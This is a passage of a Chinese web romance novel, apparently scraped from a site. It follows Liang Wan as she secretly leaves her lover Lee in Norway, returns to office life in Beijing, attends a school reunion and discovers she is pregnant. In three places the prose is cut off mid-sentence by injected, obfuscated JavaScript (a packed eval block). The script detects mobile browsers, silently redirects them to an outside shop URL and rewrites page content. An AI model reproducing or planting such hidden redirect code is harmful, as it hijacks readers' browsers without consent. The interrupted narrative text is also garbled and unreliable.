有这三杯。” 度数都不低。 周沥没说话,静静看着她。 她一次也没有与他对视。 但梁宛的余光能感知得到。昏暗光线下,他锐利且带有审视意味的眸光,比酒杯边缘反射的灯影更扎眼。 他不点破她,梁宛便装作不知。 灯影交错,推杯换盏,一切仿佛回到初识的地方。 周沥饮下几杯酒,梁宛便陪他喝了几杯水。 她的肚子都胀了,却不见Lee的醉意。 随即她又点了几杯,给他续上。 夜渐深,Bar里的客人开始增多。 爵士乐渐渐无法掩盖人声。 周沥看着她,饮下一杯杯酒。 很久之后。 “Mia,够了,我醉了。” 梁宛靠近他,仔仔细细观察他。 脸颊泛红,眼神也有些许迷离,看上去是醉了。于是等周沥喝下最后一杯酒后,她喊停了。 “你还能自己走路吗?” 周沥没说话,身体靠向她。 梁宛险些没有站稳,好不容易扛着他走了两步,嗓子里的不适加剧,不得不停下来猛烈咳了几次。 周沥蹙了蹙眉头,欲言又止。 像当初周沥扛着她走到这家酒店一般,这一次梁宛带着他走回了房间。 路过露台的时候,正有一对中年夫妇顶着寒风在拥抱亲吻,他们的女儿举着手机拍下了这一刻。 梁宛别过头,再次剧烈咳嗽起来,咳到嗓子里泛起一股铁锈味。 “Mia.”周沥目光一沉。 “我没事,”梁宛低着头没有看他,打断他的话语,“马上到房间了。” 最后一段路,梁宛走得不算累,也许是习惯了,她感到压在身上的重量轻了不少。 梁宛的电脑还播放着出门前开启的歌单,此刻正放到BringMeSunshine这首歌。电脑的声音不大,音色亦不纯净,像沙哑的她,一句一句娓娓道来。 将Lee放在床上后,梁宛颇为贴心地替他脱了外衣,只留下单衣后,又将被子掖紧。 “睡吧,时候也不早了。”梁宛避过他的眼神,“我记录一下酒的资料。” 在播放器切到SomewhereOnlyWeKnow后,她暂停了音乐,关上房间里大部分的灯,只留下书桌边一盏圆形台灯。 她止不住咳嗽,只能把头埋进围巾里,咬着唇尽可能降低发出的噪音。梁宛摸了摸自己的额头,体温已经降下来不少,几乎感觉不到异常。但鼻子和嗓子仍在遭受摧残。 她翻出冰箱里的水,吞下一颗药,朝床上看了一眼。Lee已经闭上眼睛,似乎睡着了。 梁宛不敢睡,她怕自己一觉睡到天明。 徐菲林已经往她的邮箱里发来几份工作文件。 梁宛垂着头,深深吸了一口气,往自己的鼻子里塞了两团纸,张着嘴呼吸,索性用工作麻痹自己。 翻阅文件间隙,谢晚馨插科打诨同她聊了两句,又问她要不要干脆视频聊天。 「不行,太晚了会吵醒人。」 话发出去梁宛就懊悔不已,但撤回已来不及。 谢晚馨不解:「你不是一个人吗?吵醒谁?」 梁宛醉酒或生病时的大脑总是格外迟钝,和缺根筋的陈彦差不太多。 梁宛:「晚馨,等我回北京再聊吧,我想睡觉了。」 谢晚馨发了一句好吧,没有刨根问底。 安静的房间里,梁宛只听得见自己有些粗重的呼吸声。她揉了揉自己发痒的眼睛,重新扎起已经蓬乱的头发。 梁宛抱着双腿静静坐了许久,坐久了脖子累,便把脸靠在膝盖上。 她还是第一次看见Lee睡觉的模样。 不敢靠得太近,恐惊醒他,也怕将他的模样记得太清楚,难以忘记。 像春季之前的一场潮雨,没有预兆地落下,湿淋淋地吹着风。 不能继续想下去。 梁宛收回视线,蹑手蹑脚走到卫生间擦身,进行简单的洗漱。做完一切又回到房间,收起摊了一桌的物品,放好充满的充电宝,里里外外检查了一遍是否有落下东西。 最后,她撕下一张酒店的便利贴,想了很久才写下一行字。 起身要离开时,她又想起了什么,从钱包里翻出仅剩的一千克朗现金,和便利贴一起压在了床头的纸巾盒下。 再抬起头时,又看见那张从第一面起就吸引她的面孔。梁宛半蹲在床沿,看着他。 光影分割他的面庞,一半藏匿在阴影中。 良久她笑了笑,开玩笑似的对自己说眼光不错。 他样貌好,性格也不坏,头脑也聪明,很优秀的基因。 有一瞬,她有亲吻他的冲动。 但梁宛不会那么做。 理智勒住了她冲动的身体。 梁宛起身,遏制住咳嗽的欲望,轻轻拖动行李到门口,再关上房门,不再有一丝一毫的犹豫和停留。 头也不回地穿越凌晨寂静的走廊。 昏暗的房间内,床头灯陡然亮起。 周沥坐起身戴上眼镜,视线冷冷掠过一千克朗,拿起便利贴。 她的字娟秀有劲,用德语写着: Estutmirleid. 片刻之后,字连同纸被一起揉碎扔进了垃圾桶。 15. 015 “Denise,我知道你身体不舒服,但是既然来上班了,必须打起精神。”徐菲林今天第二次提醒梁宛,笔帽在会议桌上敲了敲。 从挪威回来后第二天,梁宛就顶着堵塞的鼻子和几乎失去声音的嗓子开始上班,大脑嗡嗡的,时常对一些话反应不过来。 梁宛的状态比在挪威的最后一天更差。 拖着未痊愈的身体坐长途飞机是她这辈子不想再经历的事。 航班起初因为天气原因延误三小时,一夜没睡的她在机场椅子上忍不住打瞌睡,等到登机时,她的脖子落枕了,疼痛难忍,只能一直侧着。 飞机上,她身边是一位体味颇重的男士。梁宛并非不尊重人,只是那种味道混合着古龙水的香气,让本就头晕的她更想呕吐。 好在第一程的时间并不算长。在中转机场的洗手间内,她看见镜子里眼眶通红,满眼迷离的自己。 真是狼狈。 这算什么?做坏事的报应吗。 从洗手间出来后,梁宛才后知后觉这趟的中转站是慕尼黑。 Lee长居的地方。 购买机票时,慕尼黑不过是一个再寻常不过的地名,现在却好像多了一层说不清道不明的意义。 慕尼黑飞往北京的班机上,头疼伴随着一夜未睡的胸口疼开始反噬。梁宛用两团纸塞住鼻子,带上口罩,眼睛却还是痒到睁不开。不仅如此,因为忘记提前值机,梁宛只能退而求其次选择靠过道的位置,总好过在中间当夹心饼干。但每一次好不容易入睡后,坐在里面的人便要去洗手间,她不得不起身让出位置。 本就浅眠的她更是睡不着,不断的惊醒折磨得她精神脆弱。长途飞行时,经济舱的空间显得格外残酷。航程刚过半,梁宛的腰就已经疼得令她崩溃。全身上下无一处不疼,仿佛被拳击手打了一遍。 历经九九八十一难回到家后,梁宛强忍着猝死的风险冲了一个澡,只将行李丢在客厅后便倒头就睡。 她几乎睡死过去了。 但这一觉没能让她的精神与身体缓过来,七小时后,她就顶着黑眼圈和速率过快的心脏返回公司。 午休时,梁宛还举着筷子,眼睛就已经闭上了,头耷拉着就快掉进外卖盒里。 陈彦及时出现捞了她一把。 “宛姐,你怎么困成这样?” 梁宛惺忪睁开眼,向他道了声谢,摸着自己不太舒服的心口,迷迷糊糊地吃了口白饭。 “没睡够。” “挪威怎么样?看到极光了吗?我之前在爱尔兰的时候也见过一次极光,大自然真神奇。” 梁宛沉重的脑袋点了点,“看到了。” 她有意不去想太细节的部分,只敷衍了事地回答。为堵住这个好奇小子的嘴,她弯腰从袋子里翻出纪念品,都是她最后一天在机场购入的。 “送你的。” 陈彦的反应总是夸张,大声哇了一下,“姆明!” 不论是送给谁的纪念品,梁宛都统一购买了Moomin姆明的周边。一方面是她喜欢姆明,觉得可爱,另一方面则纯粹是图个方便。年轻人普遍不会拒绝可爱的文创周边,以防万一,梁宛还给每人买了一袋咖啡豆。为此梁宛还额外支付了行李超重费。从奥斯陆回国的路程对她来说堪称是精神与肉/体的双重摧残。 这时徐菲林走进办公室,开了一上午会,到这时梁宛才注意到她换了一副黑框眼镜,看起来更有职业感。 “这是Linda昨天交上来的策划案,下午你和她去探讨一下,明天下班之前给我一版新的。”徐菲林留下一沓文件转身就要走,忽然又想到了什么,一转身把手撑在办公桌上,“话说回来——你在挪威有艳遇吗?” 折回来后的语气与前一句截然不同,语调转了几个弯,充满八卦味。 “没有。”梁宛微微笑着,面不改色整理桌上的外卖盒,“你知道的,我对恋爱不感兴趣。” 徐菲林扁嘴,“所以我觉得奇怪嘛。像你这样的小美女怎么会不想恋爱呢?受过情伤?我女儿才高中,我就看到她日记上写着暗恋班上男同学了。唉,她的年龄应该以学业为主。你倒好,28岁了也不着急。这世道真是乱了套了。” 陈彦惊呼:“Alice姐,你偷看小朋友日记本?这可不好,现在小朋友注重隐私。” 梁宛睨了他一眼。 他口无遮拦惯了,心里想什么便说什么,有靠山也不怕得罪上司。 梁宛笑笑:“青春期有喜欢的人很正常的,我高中时也有暗恋的人。至于现在,工作是最紧要的,没有时间约会恋爱。” 徐菲林是一个工作狂,多少能理解这一点。 “都说农村里光棍多,大城市剩女多,还真是。优秀的男人啊,上学时就被人抢购光了,流入市场的少。”她叹了口气,“所以你更要抓紧了,趁着年轻,把孩子生了,当高龄产妇的风险那可大太多了。” 梁宛咳了几声,开玩笑道:“姐你不介意我休带薪产假?” “我怕什么啊?薪水又不是我发。”徐菲林难得打趣,“我也不至于那么没有人情味吧。虽然我是希望你能像头牛一样工作,但我也希望你过得好。” “谢谢Alice姐,要是有缘分从天而降,我会尽力抓住。” 漂亮话,梁宛深谙其道,信手拈来。至于做不做,则是另一桩事。 徐菲林心满意足结束这场午休谈话,踩着高跟鞋噔噔出去了。梁宛低下头,忍了许久的咳嗽一下猛烈爆发出来,咳得陈彦心惊,主动递来一瓶水。 同事里,有一些不喜欢徐菲林,觉得她太强势,敢怒不敢言。另一些以她为榜样,学习她的同时也不忘与她打好关系。 对梁宛来说,徐菲林就只是上司,一个没有必要建立褒贬体系的角色。 徐菲林年过五十,在她的年代里,她婚育的年龄算得上晚。她的事业心很重,到三十三岁经人介绍才认识了现在的丈夫,随即效率极高地在一年之内完成了结婚生孩的步骤。她的行事作风新潮,生活独立,但有些观念却仍有些保守,譬如说劝人早日结婚这一点。自己怎么做是一回事,劝别人又是另一回事。 梁宛与徐菲林年轻时有一点很像——听不进旁人的劝。 总是笑着点头说好,却依旧我行我素。 梁宛还从她身上学到了一些事。 其中一条是:不要对别人的人生指手画脚,不仅无用还容易惹人不快。 虽然梁宛也有做不到的时候。 Linda是刚转正不久的新人方愿,一腔热血奔赴广告业,责任心重,想法很多。梁宛喜欢她的创意,但创意不总是会被甲方认可。当初刚毕业去某家4a广告公司实习时,梁宛也有梦想,想让自己的创意被大众看见。 后来,她就被磨平了棱角。 梁宛是一个很容易接受现实,并躺平的人。甘露也好,污水也罢,饿不死人,她就能下咽,顺其自然。 下午梁宛找方愿谈了谈修改方案,怎料方愿提出要和梁宛一起加班。 对于加班这事,梁宛是麻木的。 但小姑娘提出的是到梁宛家加班。 …… 梁宛语塞了很久。 职场上,她很少直接拒绝人。 “我家很乱,从挪威回来的行李也还没有整理。” 方愿才不在乎这些,“那是宛姐你没见过我家,我妈说那是猪窝。” 梁宛投降,下班时带着方愿一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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先是摆弄起梁宛送她的姆明帆布包和钥匙扣,又和朋友在微信上热聊。梁宛不是个严苛的人,索性用从挪威带回来的咖啡豆冲了两杯咖啡,也好给自己提提神。 “宛姐,能不能看看你在挪威拍的照片?” 梁宛答应了,把相机递给她说:“还没有传进电脑,凑合在相机里看看吧。” “那更好,都是原图,最真实了。” “这是哪里?”“奥斯陆。” “这晚霞是在什么地方拍的?太漂亮了。”“特罗姆瑟,可以坐缆车抵达这里。” “虎鲸?天呐宛姐你看到虎鲸了!”“嗯,你再往前翻,还会有海豚。” 方愿的惊叹声不绝于耳,在一问一答之中,挪威之行像一场倒放的电影——匀速在梁宛眼前展开。 “宛姐,你怎么都不拍人?连你自己的照片都这么少。” 梁宛莞尔,说自己只是更喜欢拍风景。 一张张相片,是她有意避开他的证据,是她想要淡化他的存在。 但直到此刻,梁宛才发觉那些记忆仍旧鲜明。她越是想忽略,越是想起每一张相片后的故事。 梁宛低头苦笑了笑。 不知道他会有多生气,会有多怨恨她。 哪里都没有他,哪里都是他。 直到相机扯着记忆回到追逐极光的那一夜。 “宛姐,他是谁?” 画面中,路灯闪耀,像一颗没有温度的太阳,静静地照亮那晚漆黑的夜。车窗外晦暗不明的景色在飞驰倒退,模糊的线条,朦胧的光线,昏暗的车内只有轮廓清晰分明。 但也只有轮廓,看不清他的模样。 Lee…… Lee. 梁宛一只手覆着另一只,语调轻松,像回答方愿其他所有问题那样。 “他是极光猎人,长得好看,我就偷拍了一张。” 原来飞越7000公里,会让人以为已经离开他很久。 16. 016 谢晚馨曾经点评过梁宛:天生的牛马。 话糙理不糙。 梁宛并不是热爱工作的那类人,实际上她每时每刻都想辞职不干了。但她只敢想不敢做。 想剔寸头,只是想想。想在脚踝上纹电影台词,也只是想想。连染头发这样的小事,也因为决定不了颜色而作罢。 谢晚馨说,生活只要轻轻拍梁宛一下,她就投降了。别人让她做牛马,她就甘愿去做。 她们俩,一个在爱情里当牛马,一个在工作里,半斤八两,谁也别笑谁。 麻木不仁地完成指令是梁宛的人生底色。 部门甚至跨部门大大小小的事都开始往梁宛身上积压。 梁宛回国已经一星期多,咳嗽仍未痊愈,行李还没理完,工作任务倒是换了一轮又一轮。新来的实习生要她带,方案要她负责修改,客户部找甲方也几乎次次不落她,连徐菲林都点评:就该你涨工资的。 同事笑着说怕自己35岁被辞退,梁宛倒想着35岁就辞职,她怕自己哪天倒在工作路上,曝尸荒野,连赔偿都没人替她收。 忙碌也有一个好处。 譬如说——让她的思绪和情感没有野蛮生长的余地。 陈彦给部门同事买了咖啡,亲自端到梁宛桌前。 “宛姐,休息下吧,你前几天不是心脏难受吗?还这么拼命。”陈彦自告奋勇,“一会儿我陪你加班,有什么需要我来做的?” “谢谢咖啡。”梁宛目不转睛,用嘴角的笑意回应他,“晚上有个同学聚会,不能加班。离下班还有一小时,我得抓紧时间。” 陈彦搬了把椅子到一旁,反坐着与梁宛有一搭没一搭地聊天。 “难得见你不是家和公司两点一线。” 梁宛笑笑道:“朋友组织的,盛情难却。” 原本同学会是定在下个月的,但一月份多数人抽不开身,便提前到今日。一个班三十几个人,如今零零散散凑了十几人参加,其中一人还是隔壁班的陈知渊。 陈知渊当年也算是学校里有名的人,同学几乎都认识他,有几个男生和他还曾是铁哥们,都很欢迎他加入。 完成工作,准时下班打卡,陈彦陪梁宛走了一段路。 北风凛冽,大衣和围巾都兜不住的寒意。 “宛姐,我送你去同学会吧。” 梁宛摆摆手,“我朋友来了。” 说曹操曹操到。 谢晚馨开着车在路口拐了弯,停在公司大门前。 “宝贝——这里!” 陈彦起了身鸡皮疙瘩,抖了抖。 梁宛忍着笑道:“习惯一下,我们女人之间叫宝贝很正常。你快回家吧。” “好,宛姐玩得开心。” 这是从挪威回来后,梁宛和谢晚馨见的第一面。 一上车谢晚馨就夸张地打量梁宛,“宝贝,你丰腴了。” “……”梁宛清了清嗓,“这你都看得出来?我胖了三斤。” “我的眼睛就是尺——胖点好看,你之前偏瘦。” 聊着聊着,话题还是集中到陈知渊身上。梁宛兴致不高,工作一天后精疲力竭,只静静倚着车窗。 谢晚馨的贴心接送没有起到太大作用,晚高峰时马路堵得水泄不通。梁宛眼睁睁看着路边的行人超越她们。最后,她们成了全场唯二迟到的人。 包间是谢晚馨订的,照常理只能容纳十五人,参加同学会的一共有十七个人,最后硬生生加了两张椅子进去。这一加,人与人之间的距离就缩短了。 酒水、冷菜齐齐摆在桌上,只等姗姗来迟的二位。 落座后,一番嘘寒问暖和叙旧。梁宛只能将五六个人的脸与名字对上号。 “太伤心了,梁宛你居然把我们忘了。” 名字被遗忘的几人即兴上演一出苦情剧。 梁宛哭笑不得,“我记忆力不好,只是记不得你们的名字,人还是认识的。” 一直没说话的陈知渊淡然一笑,顺着她的话说:“那时候我们参加社团,直到第三次活动她才记住我的名字。” 梁宛的视线跟随其余人一起向他看去,这时“青春期暗恋的陈知渊”和眼前的人才重叠在一起。 他似乎变了,又似乎没有。 陈知渊留长了刘海,打理得精致。听谢晚馨说,他去年做了激光手术,所以不戴眼镜了。一双杏眼失去遮挡物,少了些书卷气,多了几分阳光。 但梁宛喜欢头发短一些、戴眼镜的男人。 一旁的同学附和陈知渊,“梁宛的记忆力只用在学习上,背单词那叫一个快。” “所以老师都喜欢她。” “好汉不提当年勇啊。”梁宛笑着端出些社交时才会用到的话。 “当时都说梁宛要申请美国的大学,SAT考了2380呢,后来怎么选择来北京了?” 梁宛仍旧笑着,“当然是出不起学费和生活费啊,还是社会主义国家适合我。” 陈知渊抬头看了一眼她,“我记得那时候你说想去布朗大学,我也申请了,虽然最后没被录取。” 旁人道:“陈知渊,你小子不怀好意啊,对我们梁宛有非分之想是不是?” 陈知渊大笑,“说什么呢!我们那是社团战友情。” 饭桌上的气氛越聊越热络,热菜也一个接着一个呈上来。酒过三巡,有的人喝高了口无遮拦,烟瘾重的人结伴去室外抽了两根。 北京的夜渐渐深,蓝墨色覆盖天空,就是不见几颗星光。 话题逐渐从学生时代的往事过渡到当下。 婚姻、家庭、工作,气氛不再如一开始的诙谐轻松,有人炫耀有人惆怅,也少不了交换人脉资源。 花了大把的时间从全国各地飞来,彼此心知肚明都不仅仅是为了同学情。 他们念的是杭州市数一数二的高中,同学里自然是有出息的居多,分散在各行各业。到现在这个年龄,人都现实,好汉不提当年勇,成绩哪有人脉资源来得重要。 可无论气氛有多高涨,梁宛都没有再参与,她渐渐沉默了,游离在人群之外。 端上来什么菜,她就吃着什么。夹一口菜,舀一碗汤,邻桌劝酒,她说自己不喜欢喝酒,以可乐代酒。 人与人的关系实在奇妙。 与泛泛之交尚能有联系,最亲密的人却可能杳无音信。哪怕有心寻找,都不知从何找起,早就淹没在70亿人之中。 梁宛的思绪在游离,目光阴差阳错地落在正对面的陈知渊身上。 不知怎地,她就想起了Lee。 想起一星期前从行李箱中翻出的两套衣服。一套睡衣,一套外衣,都是他亲自挑选购买的。 想起传进电脑的相片里,有两张是他。一张是在弗洛姆,一张是在特罗姆瑟。同样的是——没有一张拍清了他的面孔。他始终藏匿在阴影中,只留下剪影。 梁宛不自觉低头浅浅一笑。 以她的记忆力,她早晚会忘记L ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13178440|136974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ee的模样,就像她几乎将陈知渊忘得一干二净。若不是谢晚馨提起,那段高中暗恋史仿佛从未存在。 “陈班,”谢晚馨留意到梁宛停留在陈知渊身上的目光,忽然想起自己组织同学会的初衷,“听说你还单身?骗人的吧,你不是向来很受欢迎吗?” 没等陈知渊回答,另一个和他交好的男同学抢先一步说:“他可是个情种,和初恋谈了五年才分,没这么容易走出来,别人当然没机会。” 相约吸烟的人从包间外回来,身上携着挥之不去的烟草味。梁宛蹙了蹙眉头,起身道了句失陪,离开包间到卫生间。 她不喜欢大多男人身上的气味,烟味尤其。 Lee的身体很好闻,他不太出汗,即便是做的时候。他不喷香水,但身上总是有似有若无的清香。 卫生间里有扇窗户,映着冬日的新月。梁宛看得出神。 无论在地球哪一端,他们看到的都是同一个月亮。 过了很久,梁宛才回到包间,肚子开始隐隐作痛,不知道是吃坏了东西,还是这几日操劳过度引起的。 话题还停留在陈知渊的个人感情上,梁宛心不在焉听了个大概。无非就是他和前女友的爱情佳话。 陈知渊自己大多时候是沉默的,偶尔关注梁宛的反应,只不过后者没有注意他。 这时有酒鬼同学又盯上没开封的一瓶。 “Mia,那边的葡萄酒递给我。” 像一道闪电在天际闪过,连接大地,梁宛几乎本能地抬起头,“什么酒?” 说话的男同学愣了愣,接酒的手悬在空中,不明所以。 “我叫书琪拿呢,不是你啊梁宛。” 梁宛怔了怔,抚额低下头,“听错了。” 她忘记了,自己的英文名并不是Mia,而是Denise. Mia… 她从前觉得这个名字普通又烂大街,所以起了这个名去诓骗Lee。但不知从何时起,Mia——变得暧昧又黏稠。 Lee严肃时喊她Mia,温柔时喊她Mia,生气时也是,就连在床上也一样。 良久,梁宛自嘲地笑了下。 真是戏演久了,把自己也给骗了。 同学会后来谈论了什么,梁宛没有听进去,等到散场时她才跟着寒暄了几句。 为照顾从各地赶来的同学,谢晚馨尽地主之谊,邀请他们在京多待一日,她和梁宛当导游。 梁宛难得的双休日就这样未经许可地被剥夺了。 她在心里叹了声气,但也不好意思回绝这些老同学。 大部分人并没有这么闲,要在京多玩一日的只有三个人。一个是陈知渊,另外两个是从高中起就在一起的一对情侣,三年前步入婚姻殿堂。 谢晚馨开车送人回酒店的路上,那对情侣忽然宣布:“我们要当爸妈了。” 陈知渊在祝贺,谢晚馨在惊讶。 一直默不作声的梁宛冷不丁发出疑问:“一开始是怎么意识到自己怀孕了的?” “我月经一直很准,前段时间发现它没有来,就自己用验孕棒测了下,发现怀了之后就去医院复查确认。” 谢晚馨问:“你们这是意外之喜,还是早有准备?” “早就在备孕了。” 梁宛素来不是一个八卦的人,不热衷于询问别人的隐私。但谢晚馨发觉了她今天的反常,比如说她竟然又问了一个匪夷所思的问题。 “验孕棒准吗?” 17. 017 “你问这个做什么?”谢晚馨透过后视镜观察梁宛。 脑中响过梵钟嗡鸣声,梁宛的神思逐渐回笼,随口捏造了一个理由。 算下来,她和Lee初识至今也有二十天了。 梁宛心不在焉地望着窗外,谢晚馨他们说了什么,她全然没有听进去。 夜色渐浓,冷风将散步的人赶回屋内,只剩下遛狗的主人还顶着风雪,无可奈何地陪着孩子们撒欢。 “你最近遇到什么事了吗?” 将其他人回酒店后,谢晚馨将车停在梁宛的单元楼下,说出自己的疑问。 “没有啊,无非就是工作上那些琐事。” “不对,”谢晚馨扭过头仔仔细细打量梁宛,眼神锐利,“虽然我们有近一个月没见面了,但以我认识你这么多年的经验来说——你现在很反常。如果不是回来之后遇到了什么,那就只能是在挪威发生了什么。你不是说等回北京之后就告诉我嘛,说吧,坦白从宽。” 梁宛愣了愣,过了许久才道:“也没——” “梁宛,你说不说?”谢晚馨眯起眼睛,语气变成带有玩笑性质的威胁。 面对素来好奇心浓厚的谢晚馨,梁宛知道自己必须说一个“故事”给她听。 “不是多么稀奇的事。一句话概括就是:我遇到了一个英俊的男人,想追他但失败了。” “你……怎么追的?” “问他有没有女朋友,他说已经有了。” “就这样?” “就这样。” “我怎么不太信呢。有照片吗?” “没有,我不好意思拍他。”为了让故事更可信,梁宛补充,“就是那个极光猎人。” 谢晚馨露出恍然大悟的神情,整个故事的可信度在这一刻骤升。她一直觉得梁宛和极光猎人有猫腻,只是没想到竟是单相思。 适才还步步紧逼的谢晚馨瞬间变为知心大姐姐,安慰道: “天涯何处无芳草。” 她甚至提出今晚在梁宛家留宿,教她世间男人千千万,不能一棵树上吊死。最终梁宛以一句“那你什么时候放弃李逸程”让她放弃了这个念头。 入睡前,梁宛在手机上搜索了很多关于怀孕的知识,看得越多,心绪越是混乱。 她期待这个孩子已久,但等到真正验收成果的时候,她原本的坚定却动摇得厉害。 好奇、紧张,还有挥之不去的逃避心理。 她很害怕结果。 夜里,心理咨询师的话梦魇一般缠着她。 “你不懂得如何建立亲密关系。” - 翌日,怀孕的同学身体不适,两人便决定在酒店休息。最后只有陈知渊赴约。 虽说梁宛从大学到工作都此长住,但对于北京这座城,她却没有刚来一年的谢晚馨了解。梁宛素日里并不出门,大学时除了兼职就是在图书馆,再不然就是在宿舍休息。工作后更没有精力和兴趣。闲暇时间她也从不逗留在京,而是将自己放逐到遥远的地方。 所以当陈知渊问她什么地方值得去时,她想了半天也只能说出天安门和什刹海。说来惭愧,她来北京这么多年,还没有去过长城。故宫倒是去过一回,但显然不适合今天。 最后他们还是去了什刹海。 两手空空的时候,难以掩饰尴尬,于是梁宛买了串糖葫芦吃,亦步亦趋跟在另外两个人后面。 “小梁宛,你要不要戴我的围巾?今天的风大。” 梁宛停步,嘴唇恰巧被糖黏得张不开,错愕地抬眼看陈知渊。 半晌,梁宛摇头。 谢晚馨期待的眼神瞬时化为恨铁不成钢。 梁宛抿了抿嘴,将黏唇的糖化开,这才说:“不用,我不冷,谢谢。” 如果是Lee,他大约不会问她,不等她反应就已经用他那条灰色的围巾兜住她。Lee大多时候是绅士的,但有时也不给她拒绝的机会,挺霸道。 梁宛不自觉笑了笑。 这一笑,让陈知渊莫名感到一丝冒犯,像是心事被她看穿戳破了一般。之后的一路,他鲜少主动与梁宛搭话。 直到分别后,谢晚馨懊恼地向梁宛抱怨。 “你对陈知渊也太不热情了。” 梁宛不解,“我哪有?” 她最是懂得维持人际关系。 “你——唉算了,你是不是心里还想着那个极光猎人?你刚才的表现,完全看不出你曾经暗恋过陈知渊。” 被说中了心思的梁宛扭头清了清嗓。 “我以前暗恋他,又不是现在。”停顿后又说,“我没想任何人。” “你最好是。”谢晚馨拍拍她的背,“一辈子不会再见的无缘人,别去牵挂。后海有不少酒吧,怎么样,去不去喝点?” “放过我吧,我明天上班。” “哦对,忘了你是牛马。”谢晚馨叹口气,“走走走,送你回去。” 梁宛哭笑不得。 什刹海的夜晚比白天更冷,湖面上的风吹打着枝桠。 梁宛拢了拢风衣的领口,把冻僵的双手插进口袋,笑着跟上谢晚馨的步伐。 熙熙攘攘的人与梁宛擦肩而过,哭、笑、闹声此起彼伏。 “Lee,你回去后记得帮我遛一下胖虎。” 风声里掠过一个熟悉的名字。 像小孩扔向湖面的那块石子,惊起涟漪。 梁宛的心脏漏跳了一拍,在一刹那间停住脚步回头。 “事出紧急,我三天后就回来了,你帮我遛三天狗怎么了!你有没有点良心了?” 说话的人是一个穿着黑色大衣的高个男人,大晚上戴着一副墨镜,说话时手部动作颇多。他忍不住训斥、抱怨电话另一头的人。 “你小心我把你有女人的事宣传出去!……没错,我在威胁你!可不止我听见你房里女人的声音了。”男人一开始的态度强硬,没过多久忽然就软化,“胖虎性格是不好,但起码它不咬人。而且它每次见到你就老实得很。我这不是不放心别人嘛……” 男人讲话自带一种诙谐不正经的感觉。 屏住的呼吸忽然释放,梁宛笑了一声,没有焦点的视线停在屋檐上许久。然后她长舒了一口气,自嘲般又笑了笑。 不可能。 这世界上有70亿人,她与Lee的缘分早在那三次邂逅中用尽。 Lee也可以是李、力、丽……任何字,并不非得是他。 她只不过是有些神经敏感了。 “梁宛——梁宛——人跑去哪了,怎么一眨眼就不见了。”谢晚馨走出去很远又折回来找她,正想打电话,忽然在人群里看见魂不守舍的她,“梁宛!宝宝,你怎么没跟上来?叫我一顿找。” 梁宛带着歉意说:“东西掉了,在附近找了找。” “找到没有?” “没有,”梁宛说,“不是什么重要的东西,走吧。” 交叉穿行的人渐行渐远。 霍易斐举着手机和电话那边的冷血怪物说:“等我回慕尼黑给你做牛做马。” 因为家中出了些变故,霍易斐临时从慕尼黑回京几天,他挂念着留在德国的胖虎,奈何胖虎碰见谁都不听话,独独面对周沥才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13188419|136974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老实,只好拜托后者遛一遛。但周沥哪是轻易能指挥的人? 电话另一端的恶人忽然静止许久。 就在霍易斐以为周沥已经挂断电话时,他低沉的声音重新响起。 “你说你在北京?” “对啊,不然呢?” 周沥垂眸,拉开桌下的抽屉。抽屉里躺着一张被反复揉捻过的便利贴,娟秀的字迹融刻在折痕之中。 “我只帮你遛三天。” 没等霍易斐说感谢的话,通话已然中断。 - “验孕棒不一定百分之百准确,还是要记得去医院检查喔。” 药店结账时,梁宛收获了一则温馨提示。 她点点头,谢过对方,将塑料袋连同验孕棒丢进挎包。 她的月事一向不准,尽管调理了很久,成效却始终一般。 欺骗Lee时所说的短效避孕药她吃过两年,后来停了,虽不像之前那样许久才来一次,但也依旧紊乱。推迟半个月乃至一个月也是常有的事。 从挪威回京已经近一月,月事依旧没来。这一月内,梁宛的体重又涨了两斤,偶有想要呕吐的感觉。 梁宛决定面对现实。 这段时间,她一直被工作麻痹,光是出差便跟着徐菲林去了两回,一次天津,一次成都。偶然想起怀孕的事,也很快被忙碌冲散。亦或者说,她的内心仍旧在逃避。 手机在沙发上播放着SundayBreakfast,音乐从门缝悄悄地溜进卫生间。 梁宛已经在原地呆坐了十五分钟。 手指隔着纸巾捏着验孕棒,自始至终保持着这一姿势。 两条杠。 她不知道是第几次用力下咽,嗓子眼里干涩与疼痛的感觉徘徊着不肯离去。 她知道两条杠意味着什么。 梁宛应该是欣喜的,可当现实摆在眼前,她却满是不知所措。 像做梦一样。 她孕育着一个生命吗?她可以与这个生命建立亲密关系吗?她有资格让这个生命爱她吗? 叮咚—— 突兀的门铃声敲碎梁宛独处世界的玻璃,她从一片茫然中惊醒,仓促起身将验孕棒扔进垃圾桶,一边用力在水龙头下搓着手,一边问门外是谁。 “宝宝,李逸程……李逸程说要和我分手……” 闻言,梁宛叹了一声气,擦干净手,打开门将哭得梨花带雨的谢晚馨迎了进来。 谢晚馨的模样十分不好,妆哭花了,手里还捏着车钥匙。 “你是一边哭着,一边开车过来的?你真不要命了。”梁宛既心疼又愤怒,把她安顿在沙发上,又倒了一杯水递给上气不接下气的她,“顺顺气。” 